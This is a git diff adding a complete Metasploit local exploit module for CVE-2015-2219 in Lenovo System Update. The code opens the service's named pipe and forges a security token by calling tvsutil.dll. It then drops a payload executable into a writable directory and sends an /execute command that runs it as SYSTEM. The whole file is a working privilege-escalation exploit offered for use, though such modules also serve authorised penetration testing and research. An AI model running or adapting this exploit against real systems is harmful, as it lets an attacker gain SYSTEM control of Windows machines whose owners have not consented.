diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb
new file mode 100644
index 0000000000..7f998fbb4f
--- /dev/null
+++ b/modules/exploits/windows/local/lenovo_systemupdate.rb
@@ -0,0 +1,193 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Post::File
+  include Msf::Exploit::FileDropper
+  include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Services
+
+  def initialize(info={})
+    super(update_info(info, {
+      'Name'            => 'Lenovo System Update Privilege Escalation',
+      'Description'     => %q{
+        The named pipe, \SUPipeServer, can be accessed by normal users to interact
+        with the System update service. The service provides the possibility to execute
+        arbitrary commands as SYSTEM if a valid security token is provided. This token can
+        be generated by calling the GetSystemInfoData function in the DLL tvsutil.dll
+
+        Please note that the System Update is stopped by default but can be started/stopped calling
+        the Executable ConfigService.exe
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Micahel Milvich',   # vulnerability discovery, advisory
+          'Sofiane Talmat',    # vulnerability discovery, advisory
+          'h0ng10' # Metasploit module
+        ],
+      'Arch'            => ARCH_X86,
+      'Platform'        => 'win',
+      'SessionTypes'    => ['meterpreter'],
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC'    => 'thread',
+        },
+      'Targets'         =>
+        [
+          [ 'Windows', { } ]
+        ],
+      'Payload'         =>
+        {
+          'Space'       => 2048,
+          'DisableNops' => true
+        },
+      'References'      =>
+        [
+          ['OSVDB', '121522'],
+          ['CVE', '2015-2219'],
+          ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
+        ],
+      'DisclosureDate' => 'Apr 12 2015',
+      'DefaultTarget'  => 0
+    }))
+
+    register_options([
+      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
+      OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
+    ], self.class)
+
+  end
+
+  def check
+    os = sysinfo['OS']
+
+    unless os =~ /windows/i
+      return Exploit::CheckCode::Safe
+    end
+
+    svc = service_info('SUService')
+    if svc && svc[:display] =~ /System Update/
+      vprint_good("Found service '#{svc[:display]}'")
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+
+  def write_named_pipe(pipe, command)
+    invalid_handle_value = 0xFFFFFFFF
+
+    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
+    handle = r['return']
+
+    if handle == invalid_handle_value
+      fail_with(Failure::NoTarget, "\\\\.\\pipe\\SUPipeServer named pipe not found")
+    else
+      vprint_good("Opended \\\\.\\pipe\\SUPipeServer! Proceeding...")
+    end
+
+    # First, write the string length as Int32 value
+    w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
+
+    if w['return'] == false
+      print_error('The was an error writing to pipe, check permissions')
+      return false
+    end
+
+    # Then we send the real command
+    w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
+
+    if w['return'] == false
+      print_error('The was an error writing to pipe, check permissions')
+      return false
+    end
+
+    true
+  end
+
+
+  def get_security_token(lenovo_directory)
+    if not client.railgun.get_dll('tvsutil') then
+      client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
+      client.railgun.add_function("tvsutil", "GetSystemInfoData", "DWORD", [["PWCHAR","systeminfo","out"]], windows_name = nil, calling_conv = "cdecl")
+    end
+
+    dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
+    return dll_response['systeminfo'][0,40]
+  end
+
+
+  def config_service(lenovo_directory, option)
+    cmd_exec(lenovo_directory + "ConfigService.exe #{option}")
+  end
+
+
+  def exploit
+    if is_system?
+      fail_with(Failure::NoTarget, 'Session is already elevated')
+    end
+
+    su_directory = service_info('SUService')[:path][1..-15]
+
+    print_status("Starting service via ConfigService.exe")
+    config_service(su_directory, "start")
+    print_status("Giving the service some time to start...")
+    sleep(datastore['sleep'])
+
+    print_status("Getting security token...")
+    token = get_security_token(su_directory)
+    vprint_good("Security token is: #{token}")
+
+
+    if datastore['WritableDir'] and not datastore['WritableDir'].empty?
+      temp_dir = datastore['WritableDir']
+    else
+      temp_dir = client.sys.config.getenv('TEMP')
+    end
+
+    print_status("Using #{temp_dir} to drop malicious exe")
+
+    begin
+      cd(temp_dir)
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
+    end
+
+    print_status('Writing malicious exe to remote filesystem')
+    write_path = pwd
+    exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
+
+    begin
+      write_file(exe_name, generate_payload_exe)
+      register_file_for_cleanup("#{write_path}\\#{exe_name}")
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
+    end
+
+    print_status('Sending Execute command to update service')
+
+    begin
+      write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, 'Failed to write to pipe')
+    end
+
+    unless write_res
+      fail_with(Failure::Unknown, 'Failed to write to pipe')
+    end
+
+    print_status("Stopping service via ConfigService.exe")
+    config_service(su_directory, "stop")
+  end
+
+end